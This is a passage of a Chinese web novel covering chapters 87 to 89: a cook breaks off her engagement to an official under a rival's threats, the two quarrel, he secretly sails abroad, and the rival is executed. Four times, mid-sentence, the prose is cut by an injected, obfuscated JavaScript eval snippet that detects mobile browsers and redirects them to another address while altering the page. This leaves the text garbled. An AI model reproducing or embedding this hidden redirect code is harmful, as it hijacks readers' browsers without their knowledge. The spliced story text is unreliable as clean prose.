袁芽嗦了一口葱油面,嘴里鼓鼓囊囊的,说话有些含糊:“姐姐,你真要同裴大人成亲?” 秦见君头也不抬地吃面,回道:“嗯,怎么了?” 袁芽将嘴里的葱油面嚼碎了咽下去,有些不解道:“先前在绵州时,我以为你不着急成亲呢......” 秦见君勾起嘴角笑了笑,道:“你也看见了,虔渊州多少小娘的眼睛盯着呢,再不快点拿下裴大人,他就要被抢走了。” 袁芽点点头,又吃了两口面,回过味来觉得不对劲——姐姐不像是会为了这种原因而成亲的人。 夜里回了客栈,袁芽睡不着觉,便去了袁分的屋子里。 “姐姐为何忽然要同裴大人定亲啊?在绵州时我每问起此事,她都不着急的样子......”袁芽皱着脸,想不通。 其实秦见君与裴眠成亲是她能预料到的结果,只是真当这一刻来临,她又有些抗拒了。 秦见君成亲后就会有自己的孩子,到时候还会像如今一样一心扑在酒楼事业上吗? “裴大人不日便要出海了,此去危险重重、生死不论。”袁分沉声道。 袁芽瞬间瞪大了眼睛,更加不理解了:“生死不论?那为何非要这时定亲?”说完她便反应过来了...... 秦见君这是认准裴眠了,无论他能否活着回来,她的名声都将与裴眠绑定。 “姐姐还真是情深......”袁芽嘟囔了一声,随即又想起袁分与吴幽之事,又是一声叹息。 袁分见状,抬手揉了揉她的脑袋道:“男女之情于你来说还早,不必太过忧心。” 袁芽点点头,愁容却并未减去半分。 她趴在桌上想了会儿,问袁分:“哥哥,世上夫妻都是相爱的吗?” 袁分摇头道:“并不。” 大荆虽有自由婚姻,但数量极少,大多还都是父母之命媒妁之言,许多小娘子出嫁前甚至没见过夫君。 袁芽点点头,又低声问:“不相爱为何要生孩子?” 这问题袁分也有些恍惚,不知该如何回答。 袁芽却似乎并不在乎他的回答,自言自语道:“既然生了,为何又分为男女......” 袁分知晓她是想起自己的身世了,安慰道:“于我而言,男女都一样。” 袁芽勉强笑了笑,小声道:“可是他们都觉得不一样......” 不过她忽然想到,秦见君或许与袁分的想法是一样的,不然也不会救自己于水火。 袁芽又想起裴眠——裴大人看起来也不像是会在乎男女的样子...... 出海之事十分繁琐,武合文让裴眠回虔渊州探亲,也是为了能秘密面谈,早日完善相关设置。 “船只数量你可有计划?”一年不见,武合文的鬓角生出白发,面色却还如往常一般从容温和。 裴眠将手中的折子递了上去,在武合文翻开看的同时,开口道:“先前来我大荆的外邦船队,在十余艘到上百艘不等,其中不同用途的船只数量也不同。” 武合文点头道:“那依你看,此次出海需多少船只?配置如何?” 裴眠将战船、坐船、粮船等船的数量一一上报,加起来共一百五十六艘。 武合文听了,有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14125521|141165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些头疼地捏了捏鼻梁,而后挥退了下人,厅中只余二人。 “你知晓的,国库......不充盈,这一百五十六艘船只......朕只能尽力而为......”武合文感到十分无力,如今大荆来的外邦越来越多,出海之事迫在眉睫,又偏偏国库空虚。 裴眠是个不可多得的人才,此次出海之行武合文只放心交给他,但若是因为拿不出银钱置办充足船只而导致裴眠丧命,他心中也是不愿的。 “不如与烟火大会一样,让有钱的豪绅赞助?”秦见君道,银钱不够,船只与人员便不够,船只与人员不够,出海的危险系数会直线上升,她可不想裴眠回不来。 裴眠拿着今日从宫中带回来的折子摩挲,摇头道:“‘出海计划’如今尚不能公开,赵广涵一党还未落网,眼下朝中势力步步紧逼,地方势力因着赵广涵的事也一直是‘箭在弦上’之势,此时若是公开‘出海计划’,便是给他们递了个靶子......” 秦见君盘腿坐在床上,也有些头痛起来,问道:“官家说了赵广涵的事还要查多久吗?” 裴眠蹙眉道:“应当是快了,但即便定了赵广涵的罪,抄没家产与揪出同党也需时日,‘出海计划’等不了那么久。” 看来裴眠是定要冒险出海了,秦见君心中不悦,却也无可奈何。 她有自己的目标要实现,裴眠也有他的目标,她要相信他。 因为两人都十分忙碌,于是定亲宴之事便交给裴礼卿与方涟全权操办。 秦见君将铺子选在了玄支街上,租金比在绵州时翻了一倍不止,她知晓做生意都是要担风险的,如今身上的银钱越用越少,与其如此耗下去,不如孤注一掷。 虔渊州百姓的口味与绵州差别不算大,种类虽比绵州多,但还是老问题,厨子们做菜太套路化,并无创新,口味吃着也并无多少区别,秦见君还是有自信能将酒楼开起来的。 可纵使如何自信,也抵不过强权。 这日秦见君正在新铺子里盯装修,门外忽然进来一小厮,说是赵大人有请。 秦见君蹙眉看着那小厮,小厮不躲不避,十分淡定地回望过去。 “我不认识你家赵大人。” 小厮笑道:“赵大人说,若是秦小娘不肯自己走进赵府,便只管绑进去。” 秦见君眉头蹙得更深了,今日裴眠进宫去了,袁分也有事不在铺子里。 “那我跟伙计们说一声。”秦见君道,原以为小厮会阻拦,没想到他点点头,出了铺子。 “小芽。”秦见君找到正在后厨看砌灶的袁芽,叮嘱道,“去找你哥,就说我被赵广涵带走了。” 袁芽前一刻还沉浸在砌灶的新鲜好奇中,下一刻便被秦见君的话吓了一跳,忙拉住秦见君的胳膊道:“姐姐你不能去!” 秦见君搭住她拉着自己的手,拉了下去,道:“别怕,光天化日来找我,应该不敢要我命,但以防万一,你还是要去找你哥说一声。” 袁芽忧心忡忡地目送秦见君上了赵府马车,转头便将此事告知了冯莲,让她去寻裴小之,告知裴眠。 此时裴眠正在宫中同武合文一起看“出海计划”,计划中除了船只数量,还有线路与日期,都需经过仔细测算。 裴眠正在专心绘制线路图,裴小之忽然进屋,朝武合文磕头谢罪,而后附耳对裴眠道:“秦小娘被赵广涵带走了!” 87.第 87 章 赵府极尽奢华这件事,秦见君在绵州时便早有耳闻,只是没想到里面居然这么夸张。 且不说一路走来看见的那些叫不出名的珍贵植物,秦见君甚至在路过一处园子时隐约看见了孔雀尾巴...... “到了,老爷在亭子里等您。”小厮将秦见君带到湖边桥下便走了。 春风和煦、阳光温暖,石桥连着湖心亭,亭子上挂着细薄帷幔,随风吹拂。 秦见君吸了口气,抬步走上石桥。 这是她第一次见赵广涵,他并不是电视剧里大奸臣那种奸诈长相,而是浓眉大眼的周正。 秦见君看见他的第一眼,脑中想的竟然是:赵浅聿的娘眼睛一定很细,不然没法生出赵浅聿那样多情的狐狸眼来...... “秦见君。”他指尖在桌上点了两下,道,“坐下。” 秦见君上前跪坐在茶桌前,看赵广涵气定神闲地泡茶,耳畔能听到湖水微响。 “请。” 一杯热茶被放在了秦见君面前。 赵广涵摆好茶具,看向秦见君,眉目和蔼到像个脾气极好的长辈。 “酒楼筹办得如何了?” 秦见君不知他想做什么,便顺着答道:“还好。” 赵广涵见她警惕的样子,不禁笑道:“还以为裴眠看上了什么神仙人物,原来也如此胆小。” 秦见君心中忍不住撇了撇嘴:那咋了? 她不答话,赵广涵也不觉得尴尬,甚至没拿出官威来压人,亭子里又安静了下来。 眼见着天要黑了,秦见君忍不住问:“赵大人叫我过来,是有什么事吗?” 赵广涵仍是不言语。 过了会儿,小厮进了亭子,附耳同赵广涵说了什么,秦见君隐约听到了裴眠的名字。 小厮走后,赵广涵才收了方才的“聋子”做派,开口道:“先前听小女浅浅提起过你,近日又听闻你要同裴眠定亲了?” 秦见君克制住翻白眼的冲动——这个赵浅浅怎么还告家长的? “是要定亲了,赵大人来喝酒吗?”方才听到裴眠的名字了,想来他已经知晓了自己的行踪,估摸着是追过来了,想到这些,秦见君便不再那么畏惧面前的男人了。 赵广涵被她忽然挺直的腰杆给哽了一下,觉得颇有意思。 “酒就不喝了,依本官看,这定亲宴也别办了。”他浓黑的眉毛下压,气势瞬间凌冽起来。 秦见君强壮镇定地瞪回去,问:“什么意思?” “浅浅对裴眠有情,本官见不得她伤心难过。”赵广涵道,“只要秦小娘退了这门亲事,含萃楼照开,且本官许你十年酿酒权。” 这条件开得秦见君愣了一瞬,赵广涵话中有话,还记得他开口第一句便是问了含萃楼的准备情况,如今还说若是自己答应,那么“含萃楼照开”,换言之,自己若是不答应,不仅酿酒权没希望,就连含萃楼都不一定能开。 “本官如今虽在家中静养,可在虔渊州也是说得上话的,你若是诚心想开酒楼,就该已经打听清楚了,虔渊州这几家大酒楼背靠着谁......” 能背靠着谁?自然是背靠着赵广涵。 裴眠虽自小在虔渊州长大,但一心扑在官场上,对经商之事并不热衷,如今虔渊州大半的餐饮产业都在赵广涵的掌控下...... 秦见君在心中盘算,如今赵广涵虽说是被官家软禁在府中,但府中小厮却来去自如,还能当街将自己“请”来赵府,足可见赵广涵之猖狂。 俗话说“百足之虫死而不僵”,即便以后赵广涵倒了,他名下的产业也会因为他的话而记恨自己,她想在虔渊州开酒楼会十分麻烦。 但是退亲......裴眠会如何想? 秦见君在心中默算了手头余下的银钱,全部压上去才能将酒楼开起来,是绝经不住赵广涵打压的...... 见她犹豫,赵广涵便又添了把火道:“秦小娘是个聪明人,否则也无法将含萃楼在绵州开得风生水起。” 结合这几日的情形来看,赵广涵倒台只是时间问题,但难就难在这个时间,秦见君耗不起。 铺子的租金给了,装修也接近尾声,连食材货源都谈好了,这会儿停摆,便是前功尽弃、功亏一篑——她赔不起。 “老爷。”这次小厮的步伐紧迫了些,也不再附耳了,急道,“裴大人带人堵在府门前,扬言要闯进来。” 赵广涵似是早已料到,不慌不忙地挥退小厮,对秦见君道:“时不我待,秦小娘要早做抉择,本官要在三日之内看见诚意。”说着,他假意抬头看了看天色,又道,“今日天色也不早了,请回吧。” 秦见君地出了赵府,裴眠便立刻上前拉住她上下打量。 “我没事,就是聊了两句。”秦见君怕他担心,忙道。 裴眠还是不放心地上下看了几遍,这才让秦见君上了早已备好的马车。 队伍中袁分紧攥的拳头松开,松了口气,转身离开,果然一到客栈就被袁芽缠住了。 “姐姐如何了?”她满眼担心。 “无事,被裴大人带走了。” 袁芽听了,骤然放松下来,一屁股坐在凳子上,手还在轻拍胸口,喃喃道:“没事就好了......”她想起什么似的,又问,“赵广涵把姐姐绑去做什么?” 袁分摇了摇头。 天黑了,裴府上下却灯火通明,直到马车停在了府门前。 秦见君甫一下车便被方涟拉住了手:“受伤没?” 秦见君摇摇头,抬头看着裴府门口站着的下人们,又低头看向方涟——她正蹙眉检查着秦见君身上有无伤口,一如赵府门前的裴眠。 “回家吧。”裴礼卿的声音传来,秦见君这才发觉他一直站在一旁,脸上表情并不好。 裴礼卿向来温和淡然,鲜少见他带着怒意的模样,秦见君愣了愣。 方涟喊着齐冬青给秦见君仔细看了看,确定她没受伤,这才放她回去歇息。 秦见君裹着被子坐在床上,琢磨着赵广涵的话。 “笃笃。” “谁?”秦见君被打断思路,望向门口。 “是我。”裴眠的声音响起。 屋子里只有一盏烛火,有些昏暗,但裴眠并未在意,他走到床边坐下。 “赵广涵说了什么?” 秦见君一五一十都告诉了裴眠。 “你如何想?” 秦见君有些犹豫,但还是开口道:“我想......要不......先别定亲了?” 裴眠的脸色瞬间变得难看起来。 秦见君忙解释:“赵广涵确实有能力让我的含萃楼开不起来,我们不如先顺了他的意,等他彻底倒了,我们再定亲......直接成亲也可以的!” 裴眠从床边站了起来,烛火在后背桌上,他的脸隐入黑暗中。 “我能让含萃楼开起来,酿酒权我也有办法。”裴眠的声音有些低落。 “要付出更多代价不是吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14132560|141165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秦见君心里清楚,裴眠当然能做到这些,只是要插手非自己领域之事,要付出的东西定是比赵广涵多的。 她不想他在即将出海前还操心这些,继续道:“我们的感情又不是要通过定亲来证明的,眼下他能承诺给我这些,只需要我们推后一点定亲的时间而已......” 裴眠感到一股怒火夹杂着无力感从心底涌出,这段日子里,愈加深入“出海计划”,他便愈发能感受到其中危险,说不准此一去便真的回不来了。 起先他是不想同秦见君定亲的,只要不定亲,世人不知二人之情,若是他不幸无法归来,她也依然可以选旁人...... 只是她坚持要定亲,这举动为他的心注满了热流,他想她定是爱极了自己,才会如此勇敢。 他想他找到了一生挚爱,是热烈又勇敢、全心全意不计后果的爱,那一刻他仿佛感受到了一个新的世界正在向他敞开。 可正当他满心欢喜要迈入新世界时,秦见君却为了开酒楼与酿酒权想要将这扇门关上。 “只需要......推后?你是如此想的?” 感受到裴眠语气中的不对劲,秦见君迟疑了一瞬,起身下了床,站在裴眠面前,轻声解释道:“你最近不是在跟官家商量出海细则吗?你这么周全的人,肯定能平安回来的是不是?到时候......” “我不能......”裴眠第一次出声打断了秦见君的话。 “什么?”秦见君顿住。 “我不知能否平安归来......”裴眠的声音似是在压抑。 秦见君不想面对的可能性被他亲口说出,那一瞬她的心脏似是被揪了一下。 其实无论裴眠能否平安归来,她觉得自己都不会再将目光投向旁人。定亲只是想让裴眠能安心出海,如今定亲阻碍了含萃楼的发展,她必须要做取舍...... 既然无论定不定亲,她都认准了裴眠,那自然是含萃楼更重要。 “别乱说,你能平安回来的。” 裴眠的声音很沉:“不定亲了吗?” 秦见君默了默,还是摇头道:“不定了......” 裴眠一反常态地没答话便转身出了门,独留秦见君怔怔地在原地。 翌日早饭桌上也没见到裴眠,秦见君问过方涟后,得知他昨夜忽然被秘密召入宫中了。 含萃楼的装修已经接近尾声,裴眠迟迟未归,秦见君便不再等了,打定主意后便托人去给赵府带了话。 赵广涵那边说,只要秦见君退亲的消息传出去,他立刻将酿酒权交给秦见君。 “阿君,怎么忽然不定亲了?”冯莲忧心忡忡地问秦见君。 “出了点意外,过段日子再定吧。” “怎么了?是发生了什么?”冯莲在秦见君对面坐下。 秦见君摇了摇头,不肯说,这事让人烦心,她并不想店里的伙计们一同忧心。 “那裴大人知晓这事吗?” 秦见君点头道:“我托之管家给他带了话......” 自那日裴眠进了宫,便再未出来过,秦见君觉得他似乎是生气了,在躲自己。 托裴小之进去传话,也未得到答复...... 秦见君觉得心慌,只能盼着裴眠早日回府,她好再解释解释。 赵广涵的动作很快,退亲的消息一传出去,天黑前酿酒权契约便交到了秦见君手中。 店中上下都喜气洋洋准备着开张,她却有些闷闷不乐。 88.第 88 章 裴眠是一个月后的深夜回的裴府。 彼时方涟与裴礼卿已睡下了,裴眠亲自去敲响了二人的房门。 方涟披着衣裳,怔怔地坐在桌边,忧心道:“这就要走了?” 裴眠点头,朝二人行了礼:“出海之事不宜大肆宣扬,今夜我便启程南下,船只皆已停在南岸边了,官家许我特来辞别爹娘。” 方涟忍不住落泪,出海后生死不定,她怕极了,擦着眼泪时忽然又想到了秦见君。 “阿君那边......” 裴眠没说话,方涟也只能叹口气,她不知二人是怎么了,忽然要退亲。 起先她是不能接受的,但裴礼卿说阿君这孩子家里没了人,许是对婚嫁之事不熟练、有些害怕,实属正常,方涟这才勉强应下了退亲之事。 三人在屋子里依依惜别了一会儿,裴眠离开时忽然下起雨来。 他没穿蓑衣也没打伞,径直向客栈走去。 秦见君这几日本就睡得不安稳,雨点落下的瞬间她便睁开眼,睡意全无。 深夜忽然响起的敲门声,先是吓了她一跳,而后她想到什么似的,心头开始发热,隔着门问:“谁?” “是我。” 是裴眠的声音,秦见君心头的热愈发滚烫了,她忙开门让人进来。 裴眠肩上盛着雨滴,发丝上也串着雨珠,却并不显得狼狈,睫上与唇边的水渍衬得他的脸在烛火下别有一丝韵味。 秦见君关上门,给他拿了毛巾擦水。 “官家肯放你回来了?”秦见君问。 裴眠心中装着事,心不在焉地嗯了一声。 秦见君很快发觉,问道:“怎么了?” 裴眠脸上没什么表情,直直地看着秦见君,道:“亲事取消了。” 秦见君听了,有些心虚地垂下眸子,点头:“嗯......不过......” “也好。”裴眠打断了她的话。 “什么也好?”秦见君重新抬起头去看他,他脸上依旧没什么表情,声音也平平的。 “往后你另寻他人,也不必为亲事所累。”屋子里的窗户关着,外头的雨声闷闷的,裴眠的声音格外清晰。 “你说什么?”秦见君替他擦雨水的手顿住,毛巾被攥得变形。 “我今夜就要......”话未说完,秦见君忽然将毛巾扔在地上,裴眠不得不收了话头, 看向她。 扔了毛巾的手依旧攥得紧实,指尖刚长出来的一点指甲嵌进掌心肉中,秦见君用力刺破掌心,试图让自己冷静下来。 “你要.....跟我分手吗?”秦见君压着嗓音问,“就因为我退亲?” 这一个月在宫中完善“出海计划”,除此之外的时间,裴眠都在想秦见君要退亲之事。 冷静下来的他觉得,秦见君这么做是没错的,总不能因为他自身的不安全感,而束缚秦见君的决定。 可愈临近出海的日子,他便愈发心慌,也愈发觉得秦见君做得对,若是自己回不来了,便放她自由。 裴眠陷入思绪中迟迟不说话,秦见君顿时气不打一处来,声音都稍稍拔高了:“果然,你是不是早就想甩开我了?你那么聪明,是不是早就看出来了?” 裴眠不明所以,问:“看出什么?” “看出来我这个人假透了......”秦见君放轻了声音喃喃了一句,而后对上裴眠面无表情的脸,“被厌弃”的感觉重新涌上心头,声音又大起来,“既然你决定了,那我们就分开,但你记住,是我不要你了。” 出海启程在即,裴眠心中百感交集,本就无法纾解的情绪终于在秦见君说不要他的瞬间爆发,这段日子以来的疑问与不解也都冒了出来。 “不要我了?”裴眠重复了一句,他气到冷哼出声,“我看分明是你早就想甩开我,否则怎么要‘谈恋爱’?又怎么会在遇到困难时先选择放弃我们的亲事?” “我说了是‘暂时’!眼下你有更好的法子吗?”秦见君觉得裴眠有些不可理喻,她以为“谈恋爱”的事两人早就达成了共识,没想到裴眠心里是这么想的。 裴眠不欲争辩,赌气般顺着她道:“对,我并无更好的法子。” 秦见君一拳打在棉花上,心里憋闷得慌,她深呼吸了几口,心中的燥郁却越来越浓。 自她出生起就在被厌弃,身边的人也都留不住——无论是她以本性相对,还是戴着面具。 她曾在裴眠身上找到过归属感与依靠感,但如今也要剥离了。 深深的无力感夹杂着愤怒流入四肢百骸,她忽然自暴自弃般开口了:“裴眠你了解过我吗?” 裴眠对上她的眸子,并不说话。 秦见君的眼中带着倔强,声音也冷了下来:“我根本就不是你看见的模样......” “当初你教训房大河,我为他抱不平,你是不是觉得我特善良?”秦见君嘴角勾起,带着讥讽的笑,道,“那时候我只是你府上的厨娘,是个下人,我为他说话,只是怕你哪天也像压迫他一样压迫我!” 她缓步走近裴眠,边走边道:“你是不是还觉得我为好友杀了她那个凶恶的前夫,特别见义勇为?”她摇了摇头,轻声道,“那是因为我知道你会替我摆平一切,去井沟村前,我就想好了要怎么杀了那鳏夫。” “你有没有想过我当初为什么不收养袁芽?是因为怕自己教不好她吗?”秦见君的声音愈发冷静,脸上的表情也越来越少,近乎平淡,“不,我就是怕惹上麻烦,我还要开酒楼、要养活自己,凭什么要带个拖油瓶?” 裴眠怔怔听着,脸上有些愕然。 秦见君已经走到了他面前,她仰着头,两人距离极近,近到裴眠似乎能感受到秦见君的呼吸。 “还有定亲,你以为我跟你定亲是为了让你安心出海?”秦见君咬着牙,紧盯着裴眠逐渐破裂的表情,心里忽然扭曲地感到痛快。 “才不是,是为了给含萃楼造势,裴家在虔渊州虽然不涉餐饮,但名气够大,含萃楼开张在即,用酒楼老板和裴府少爷的亲事来造势,你猜多少人会为了凑热闹来楼里吃饭?” 裴眠从未想过她会如此说两人之间的亲事,一时气极,胸口起伏却说不出话,直到窗户被石子敲响——袁原来催自己了。 裴眠深深地看了秦见君一眼,抿着唇出了屋子。 他走后,雨也渐渐停歇了。秦见君觉得安静,太安静了,安静到她开始感到耳鸣。 是了,她的世界一向如此安静,无论在外是多热门的视频博主,回到家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14149347|141165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也还是一个人。 一个人洗漱、一个人睡觉、一个人看书、一个人自言自语。 秦见君觉得浑身无力,她踉跄走到墙边,扶着墙缓缓蹲下,直至坐在地上。 没一会儿,屋子里响起抽泣声——她说谎了,她从未想过用亲事来给含萃楼造势,她是真心想嫁给裴眠。 裴眠的离开悄无声息,虔渊州几乎无人知晓,裴礼卿与方涟也只是对外称裴眠身子不适,在府中静养。 含萃楼如期开张,火爆程度比在绵州时有增无减。 秦见君并未去门前迎客,反正都是不认识的食客,她索性穿上围裙躲进了后厨。 连房大河都看出来她心情不佳了,有些忧心地问:“你怎么了?是酒楼出了问题?” 秦见君低头切菜,刀刃飞快,头也不抬道:“没事,酒楼好着呢,你专心做菜......” 话音未落,她指尖被锋利的刀刃削下来一块肉,鲜血喷涌。 “哎哟!快拿药来!”房大河急忙喊人,全后厨的厨子都惊住了——秦见君居然切到手了! 她在厨房中向来游刃有余、威望极高,可这么个威望极高的大神却犯了如此低级的错误...... “没事,都专心做菜,别像我似的......”她草草包扎了伤口,继续切菜。厨子们都听出来她情绪不高,便交换了眼神,纷纷沉默着低头做菜。 与裴眠分别半个月后,秦见君有些坐不住了——什么病在府中修养了这么多天还不好? 这日酒楼打烊后,她抚了抚掌心的玉佩,下定决心般将玉佩放入漆黑木盒中,起身要出门。 “姐姐,这么晚了,你去哪儿啊?”袁芽在身后喊她。 秦见君有些不自然地半转过身子,答道:“去还东西......”其实是借着还东西,想看看那个人怎么样了。 袁芽听了,忙收拾了手头的活儿,跟上去道:“去哪儿?我陪你吧。” 照理说含萃楼开张生意蒸蒸日上,拿到酿酒权后,酒坛也按度数都藏好了,秦见君该高兴才是,可她这段日子总是心不在焉的,袁芽忍不住担心她。 “去......”秦见君犹豫了一下,还是如实道,“去裴府。” 袁芽疑惑:“去裴府做什么?看望裴老爷与裴夫人?” 秦见君摇头道:“去看裴眠,他不是病了吗?” 这下袁芽的表情呆滞住了,她眨了眨眼,语气也有些不确定起来:“裴大人......出海去了,没同姐姐说吗?” 出海了? 秦见君手中的木盒应声落地,两块玉佩相撞发出清脆声音。 袁芽知晓自己说错了话,忙将玉佩捡起来,好在木盒中垫着软布,玉佩都还完好。 “你怎么知道他......出海了?”秦见君看向袁芽。 袁芽脸上有些纠结,但还是实话实说道:“半个月前,哥哥忽然说裴大人要带袁原哥出海,托他去照应卢大人......” “半个月前......”秦见君垂下眸子——也就是说吵完架就走了...... “姐姐......”袁芽将两块玉佩放在木盒中摆好,递给秦见君。 秦见君扫了一眼玉佩,没说话,转身走了。 89.第 89 章 秦见君在吃食上的点子不少,又悉心钻研过虔渊州百姓的饮食习惯,于是很快便推出了火遍虔渊州的花椒鸡。 随着含萃楼在虔渊州的名声越来越大,秦见君也更加理解裴眠“出海计划”的迫切性。 光从餐食就能看出,大荆人是愿意尝试重口菜的,但在没有辣椒的前提下,很多美食都做不了。 还有番茄与土豆等食材,是现代人餐桌上常见的,在大荆却根本未被引进。 由此可见,在其他方面诸如文化与技术方面,大荆也是有很有必要与外邦交流的。 也不知裴眠此次出海能带回来什么......秦见君一边假装不关心裴眠,以免他出海的消息传出去,可她又一边克制不住地担心裴眠。 早知道他当晚便要启程,她就不说那些气头上的话了...... 她懊恼地一拳捶在腿上——自己果然是很差劲的人,裴眠为了大荆冒着生命危险出海,她却为了儿女情长的事让他伤心。 “姐姐!姐姐!”袁芽急切的声音响起。 秦见君从柜台后站起来,看到袁芽跑得一头汗。 如今已是初夏了,外头阳光正盛,吹入大堂的风都是热的。秦见君倒了一杯香橼冰茶给袁芽,却并未让她直接喝掉,而是塞入她手中降温。 “发生什么事了?” 袁芽捧着冰茶杯子往额头上贴,喘着气道:“我方才路过菜市口......呼......听说赵广涵判了!” “判了什么?”秦见君瞬间握紧了手,赵广涵的案子拖了快半年,裴眠也已秘密出海有三个多月了,如今终于要判了? “说是家产全部抄没,三日后于午门斩首。” “亲眷呢?”秦见君追问。 “在虔渊州朝中的亲眷一同斩首。” “那赵浅聿......” “赵大人不在虔渊州,不会斩首,但抄没家产后不得入仕,也不能再踏入虔渊州了......”袁芽道。 秦见君松了口气——留着命就还好,不能入仕还能做生意,天下之大,不进虔渊州也无妨的...... 三日后赵广涵被斩首,朝中进行了一次大清洗,卢飞枫手持官家信物,将赵广涵余党连根拔起,朝中职位空缺,即便将地方官提拔上来也无法填补大量空缺。 大荆开洋八年九月,朝廷开恩科,广招人才入虔渊州科举。 “要我说,今年科举定是近年来最简易的!”一位留着山羊胡须的男人坐在窗边,对同伴道。 男人的同伴是个书生,面相年轻得多,性子却更稳妥些,听了山羊胡子的话,只微微点头道:“那也是要用心治学的,人数虽多,但高手也多。” “说得对,今年科举也是卢飞枫大人操办,卢大人性子刚直、公平公正,只要我们努力学了,定是能博取功名的。” 书生仍旧表情淡淡,并未反驳山羊胡子的话,只道:“我倒是更想裴大人阅卷。” “裴大人?裴眠?” “嗯。” 山羊胡子撇撇嘴道:“毛头小子一个,自他考上状元入朝后,除了帮叶水州种出了水稻,还做过何事?哦,他还出海了......”说起此事,山羊胡子便更来劲了,“赵广涵倒台时就传出消息,说国库空虚,如今大荆正需要休养生息,他却用国库最后一点积蓄买了船只出海去了!” 书生听了,不赞同道:“出海是越早越好的,我们自小在南边长大,难道未见过外邦人?未见过外邦人带来的新鲜玩意儿?” 山羊胡子不说话了。 书生继续道:“大荆不能处于被动地位,必要主动出海结交外邦,若是幸运,许能为大荆国库带来新的希望......” 赵广涵一派被斩草除根后,国库空虚的消息不知从哪儿传了出去。武合文只好昭告天下,裴眠已带船队出海去了,从目前收到的消息来看,外邦态度友善,双方交换了许多货物,裴眠会带着新希望回到大荆,大荆的国库也有望充盈起来。 百姓们听了这些,心中才算安稳了些。 可如此一来,裴眠身上的担子便又重了些。秦见君坐在柜台后面听山羊胡子与书生的对话,轻轻摩挲着从袁芽那里要回来的玉佩。 冯莲将蟹酿橙端上了桌,对二人道:“客官,菜上齐了。” 山羊胡子点点头,示意她可以下去了。 冯莲便收起托盘往外走,不料却迎面撞了人,她后退了好几步才稳住身子。 “冯小娘。” 她抬头看过去——是罗衔玉。 这也算是他乡遇故人,她高兴地想要去喊秦见君,却发现罗衔玉后面还站着个书生。 是戴鸣。 原本戴鸣的样貌在冯莲心中已有些模糊了,可在重逢的一瞬,她便什么都想起来了。 不仅想起了他的样貌,还有那些“甜蜜时光”。 戴鸣似是也没料到能在虔渊州看到冯莲,且冯莲样貌变化有些大,一时间他都不敢认。 “冯小娘?”罗衔玉的声音再次响起。 冯莲回过神,抱紧了胸前的托盘,低着头绕过两人道:“我去叫老板过来。” 秦见君躲在柜台后面听得清清楚楚,但她如今并不想同罗衔玉见面,两人本就没什么交情,关系也十分尴尬。 “阿君?怎么在这儿?罗书生来了......”冯莲路过柜台时看到秦见君,于是走过去对她道。 “跟他说我不在店里......”秦见君挥了挥手。 “秦小娘......”罗衔玉从柜台前冒出来,直直看着秦见君。 秦见君:“......” 九月已有些凉爽了,秦见君打开二楼雅间的窗户,吹进来的风也有些冷。 “我......我先前在家念书,并不知你已经来了虔渊州,如今官家开恩科,我出了家门才知晓虔渊州开了一家含萃楼,于是......”罗衔玉时隔多日,再次看到秦见君,也还是觉得心动,说话都有些磕巴。 秦见君心不在焉地撑着脑袋,连眼神都未给他一个,而是盯着窗外的街道。 “嗯......祝你科考顺利。”她懒懒道。 罗衔玉不是傻子,当初隔着帷幔他便觉得秦见君的情郎不是一般人。 这几日从家中走出来,才听闻秦见君与裴眠定亲又退亲的消息,尤其裴眠出海之事近日在虔渊州传得沸沸扬扬,他便下意识觉得是裴眠对不起秦见君。 “你......你别伤心......若是我科考顺利,定能博取功名,你多给我一点时间,我不会比裴大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14157407|141165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人差......” 听他提起裴眠,秦见君这才将脑袋转过去,看着他。 秦见君的眸子还是如往常一样黑白分明、水润清亮,看得罗衔玉心头悸动不已。 “我们没可能。”她的声音听着温温柔柔的,说出来的话却像刀子一样扎入罗衔玉的心中。 他低下头,默了好一会儿,又问:“即便......即便裴大人回不来也......” “嗯。”秦见君打断了他的话,心中升起一丝烦躁。 她对“裴眠可能回不来”这件事十分敏感,若是他真的回不来,自己会抱憾终身的。 